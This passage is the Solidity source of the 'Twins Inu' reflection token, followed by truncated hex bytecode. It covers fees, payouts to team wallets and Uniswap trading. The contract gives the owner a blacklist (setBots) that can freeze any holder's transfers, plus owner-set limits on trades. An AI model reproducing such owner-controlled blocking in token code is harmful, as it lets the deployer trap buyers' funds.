using SafeMath for uint256; string private constant _name = "Twins Inu"; string private constant _symbol = "TWINS"; uint8 private constant _decimals = 9; // RFI mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _taxFee = 1; uint256 private _teamFee = 2; // Bot detection mapping(address => bool) private bots; mapping(address => uint256) private cooldown; address payable private _teamAddress; address payable private _marketingFunds; IUniswapV2Router02 private uniswapV2Router; address private uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = false; bool private cooldownEnabled = false; uint256 private _maxTxAmount = _tTotal; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor(address payable addr1, address payable addr2) { _teamAddress = addr1; _marketingFunds = addr2; _rOwned[_msgSender()] = _rTotal; _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_teamAddress] = true; _isExcludedFromFee[_marketingFunds] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_taxFee == 0 && _teamFee == 0) return; _taxFee = 0; _teamFee = 0; } function restoreAllFee() private { _taxFee = 1; _teamFee = 2; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { if (cooldownEnabled) { if ( from != address(this) && to != address(this) && from != address(uniswapV2Router) && to != address(uniswapV2Router) ) { require( _msgSender() == address(uniswapV2Router) || _msgSender() == uniswapV2Pair, "ERR: Uniswap only" ); } } require(amount <= _maxTxAmount); require(!bots[from] && !bots[to]); if ( from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to] && cooldownEnabled ) { require(cooldown[to] < block.timestamp); cooldown[to] = block.timestamp + (60 seconds); } uint256 contractTokenBalance = balanceOf(address(this)); if (!inSwap && from != uniswapV2Pair && swapEnabled) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) { takeFee = false; } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _teamAddress.transfer(amount.mul(4).div(10)); _marketingFunds.transfer(amount.mul(6).div(10)); } function openTrading() external onlyOwner() { require(!tradingOpen, "trading is already open"); IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); uniswapV2Router = _uniswapV2Router; _approve(address(this), address(uniswapV2Router), _tTotal); uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); uniswapV2Router.addLiquidityETH{value: address(this).balance}( address(this), balanceOf(address(this)), 0, 0, owner(), block.timestamp ); swapEnabled = true; cooldownEnabled = true; _maxTxAmount = 10000000000 * 10**9; tradingOpen = true; IERC20(uniswapV2Pair).approve( address(uniswapV2Router), type(uint256).max ); } function manualswap() external { require(_msgSender() == _teamAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _teamAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function setBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _taxFee, _teamFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 taxFee, uint256 TeamFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(taxFee).div(20); uint256 tTeam = tAmount.mul(TeamFee).div(20); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { require(maxTxPercent > 0, "Amount must be greater than 0"); _maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2); emit MaxTxAmountUpdated(_maxTxAmount); } }
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612f04565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612a27565b61045e565b6040516101789190612ee9565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a391906130a6565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce91906129d8565b61048d565b6040516101e09190612ee9565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b919061294a565b610566565b005b34801561021e57600080fd5b50610227610656565b604051610234919061311b565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612aa4565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f919061294a565b610783565b6040516102b191906130a6565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612e1b565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612f04565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612a27565b61098d565b60405161035b9190612ee9565b60405180910390f35b34801561037057600080fd5b5061038b60048036038101906103869190612a63565b6109ab565b005b34801561039957600080fd5b506103a2610afb565b005b3480156103b057600080fd5b506103b9610b75565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612af6565b6110d1565b005b3480156103f057600080fd5b5061040b6004803603810190610406919061299c565b61121a565b60405161041891906130a6565b60405180910390f35b60606040518060400160405280600981526020017f5477696e7320496e750000000000000000000000000000000000000000000000815250905090565b600061047261046b6112a1565b84846112a9565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a848484611474565b61055b846104a66112a1565b610556856040518060600160405280602881526020016137df60289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c339092919063ffffffff16565b6112a9565b600190509392505050565b61056e6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612fe6565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b6106676112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612fe6565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107526112a1565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c97565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611db8565b9050919050565b6107dc6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612fe6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600581526020017f5457494e53000000000000000000000000000000000000000000000000000000815250905090565b60006109a161099a6112a1565b8484611474565b6001905092915050565b6109b36112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612fe6565b60405180910390fd5b60005b8151811015610af7576001600a6000848481518110610a8b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610aef906133bc565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b3c6112a1565b73ffffffffffffffffffffffffffffffffffffffff1614610b5c57600080fd5b6000610b6730610783565b9050610b7281611e26565b50565b610b7d6112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c0a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c0190612fe6565b60405180910390fd5b600f60149054906101000a900460ff1615610c5a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5190613066565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cea30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006112a9565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d3057600080fd5b505afa158015610d44573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d689190612973565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610dca57600080fd5b505afa158015610dde573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e029190612973565b6040518363ffffffff1660e01b8152600401610e1f929190612e36565b602060405180830381600087803b158015610e3957600080fd5b505af1158015610e4d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e719190612973565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610efa30610783565b600080610f05610927565b426040518863ffffffff1660e01b8152600401610f2796959493929190612e88565b6060604051808303818588803b158015610f4057600080fd5b505af1158015610f54573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f799190612b1f565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550678ac7230489e800006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161107b929190612e5f565b602060405180830381600087803b15801561109557600080fd5b505af11580156110a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110cd9190612acd565b5050565b6110d96112a1565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611166576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161115d90612fe6565b60405180910390fd5b600081116111a9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111a090612fa6565b60405180910390fd5b6111d860646111ca83683635c9adc5dea0000061212090919063ffffffff16565b61219b90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf60105460405161120f91906130a6565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611319576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161131090613046565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611389576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138090612f66565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161146791906130a6565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114db90613026565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611554576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161154b90612f26565b60405180910390fd5b60008111611597576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158e90613006565b60405180910390fd5b61159f610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561160d57506115dd610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b7057600f60179054906101000a900460ff1615611840573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561168f57503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116e95750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117435750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561183f57600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117896112a1565b73ffffffffffffffffffffffffffffffffffffffff1614806117ff5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117e76112a1565b73ffffffffffffffffffffffffffffffffffffffff16145b61183e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161183590613086565b60405180910390fd5b5b5b60105481111561184f57600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118f35750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118fc57600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119a75750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119fd5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611a155750600f60179054906101000a900460ff165b15611ab65742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a6557600080fd5b603c42611a7291906131dc565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611ac130610783565b9050600f60159054906101000a900460ff16158015611b2e5750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b465750600f60169054906101000a900460ff165b15611b6e57611b5481611e26565b60004790506000811115611b6c57611b6b47611c97565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c175750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611c2157600090505b611c2d848484846121e5565b50505050565b6000838311158290611c7b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c729190612f04565b60405180910390fd5b5060008385611c8a91906132bd565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cfa600a611cec60048661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d25573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d89600a611d7b60068661212090919063ffffffff16565b61219b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611db4573d6000803e3d6000fd5b5050565b6000600654821115611dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611df690612f46565b60405180910390fd5b6000611e09612212565b9050611e1e818461219b90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e84577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015611eb25781602001602082028036833780820191505090505b5090503081600081518110611ef0577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611f9257600080fd5b505afa158015611fa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611fca9190612973565b81600181518110612004577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061206b30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846112a9565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016120cf9594939291906130c1565b600060405180830381600087803b1580156120e957600080fd5b505af11580156120fd573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b6000808314156121335760009050612195565b600082846121419190613263565b90508284826121509190613232565b14612190576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161218790612fc6565b60405180910390fd5b809150505b92915050565b60006121dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061223d565b905092915050565b806121f3576121f26122a0565b5b6121fe8484846122d1565b8061220c5761220b61249c565b5b50505050565b600080600061221f6124ae565b91509150612236818361219b90919063ffffffff16565b9250505090565b60008083118290612284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161227b9190612f04565b60405180910390fd5b50600083856122939190613232565b9050809150509392505050565b60006008541480156122b457506000600954145b156122be576122cf565b600060088190555060006009819055505b565b6000806000806000806122e387612510565b95509550955095509550955061234186600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461257890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506123d685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061242281612620565b61242c84836126dd565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161248991906130a6565b60405180910390a3505050505050505050565b60016008819055506002600981905550565b600080600060065490506000683635c9adc5dea0000090506124e4683635c9adc5dea0000060065461219b90919063ffffffff16565b82101561250357600654683635c9adc5dea0000093509350505061250c565b81819350935050505b9091565b600080600080600080600080600061252d8a600854600954612717565b925092509250600061253d612212565b905060008060006125508e8787876127ad565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006125ba83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c33565b905092915050565b60008082846125d191906131dc565b905083811015612616576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260d90612f86565b60405180910390fd5b8091505092915050565b600061262a612212565b90506000612641828461212090919063ffffffff16565b905061269581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546125c290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6126f28260065461257890919063ffffffff16565b60068190555061270d816007546125c290919063ffffffff16565b6007819055505050565b6000806000806127436014612735888a61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061276d601461275f888b61212090919063ffffffff16565b61219b90919063ffffffff16565b9050600061279682612788858c61257890919063ffffffff16565b61257890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806127c6858961212090919063ffffffff16565b905060006127dd868961212090919063ffffffff16565b905060006127f4878961212090919063ffffffff16565b9050600061281d8261280f858761257890919063ffffffff16565b61257890919063ffffffff16565b9050838184965096509650505050509450945094915050565b60006128496128448461315b565b613136565b9050808382526020820190508285602086028201111561286857600080fd5b60005b85811015612898578161287e88826128a2565b84526020840193506020830192505060018101905061286b565b5050509392505050565b6000813590506128b181613799565b92915050565b6000815190506128c681613799565b92915050565b600082601f8301126128dd57600080fd5b81356128ed848260208601612836565b91505092915050565b600081359050612905816137b0565b92915050565b60008151905061291a816137b0565b92915050565b60008135905061292f816137c7565b92915050565b600081519050612944816137c7565b92915050565b60006020828403121561295c57600080fd5b600061296a848285016128a2565b91505092915050565b60006020828403121561298557600080fd5b6000612993848285016128b7565b91505092915050565b600080604083850312156129af57600080fd5b60006129bd858286016128a2565b92505060206129ce858286016128a2565b9150509250929050565b6000806000606084860312156129ed57600080fd5b60006129fb868287016128a2565b9350506020612a0c868287016128a2565b9250506040612a1d86828701612920565b9150509250925092565b60008060408385031215612a3a57600080fd5b6000612a48858286016128a2565b9250506020612a5985828601612920565b9150509250929050565b600060208284031215612a7557600080fd5b600082013567ffffffffffffffff811115612a8f57600080fd5b612a9b848285016128cc565b91505092915050565b600060208284031215612ab657600080fd5b6000612ac4848285016128f6565b91505092915050565b600060208284031215612adf57600080fd5b6000612aed8482850161290b565b91505092915050565b600060208284031215612b0857600080fd5b6000612b1684828501612920565b91505092915050565b600080600060608486031215612b3457600080fd5b6000612b4286828701612935565b9350506020612b5386828701612935565b9250506040612b6486828701612935565b9150509250925092565b6000612b7a8383612b86565b60208301905092915050565b612b8f816132f1565b82525050565b612b9e816132f1565b82525050565b6000612baf82613197565b612bb981856131ba565b9350612bc483613187565b8060005b83811015612bf5578151612bdc8882612b6e565b9750612be7836131ad565b925050600181019050612bc8565b5085935050505092915050565b612c0b81613303565b82525050565b612c1a81613346565b82525050565b6000612c2b826131a2565b612c3581856131cb565b9350612c45818560208601613358565b612c4e81613492565b840191505092915050565b6000612c666023836131cb565b9150612c71826134a3565b604082019050919050565b6000612c89602a836131cb565b9150612c94826134f2565b604082019050919050565b6000612cac6022836131cb565b9150612cb782613541565b604082019050919050565b6000612ccf601b836131cb565b9150612cda82613590565b602082019050919050565b6000612cf2601d836131cb565b9150612cfd826135b9565b602082019050919050565b6000612d156021836131cb565b9150612d20826135e2565b604082019050919050565b6000612d386020836131cb565b9150612d4382613631565b602082019050919050565b6000612d5b6029836131cb565b9150612d668261365a565b604082019050919050565b6000612d7e6025836131cb565b9150612d89826136a9565b604082019050919050565b6000612da16024836131cb565b9150612dac826136f8565b604082019050919050565b6000612dc46017836131cb565b9150612dcf82613747565b602082019050919050565b6000612de76011836131cb565b9150612df282613770565b602082019050919050565b612e068161332f565b82525050565b612e1581613339565b82525050565b6000602082019050612e306000830184612b95565b92915050565b6000604082019050612e4b6000830185612b95565b612e586020830184612b95565b9392505050565b6000604082019050612e746000830185612b95565b612e816020830184612dfd565b9392505050565b600060c082019050612e9d6000830189612b95565b612eaa6020830188612dfd565b612eb76040830187612c11565b612ec46060830186612c11565b612ed16080830185612b95565b612ede60a0830184612dfd565b979650505050505050565b6000602082019050612efe6000830184612c02565b92915050565b60006020820190508181036000830152612f1e8184612c20565b905092915050565b60006020820190508181036000830152612f3f81612c59565b9050919050565b60006020820190508181036000830152612f5f81612c7c565b9050919050565b60006020820190508181036000830152612f7f81612c9f565b9050919050565b60006020820190508181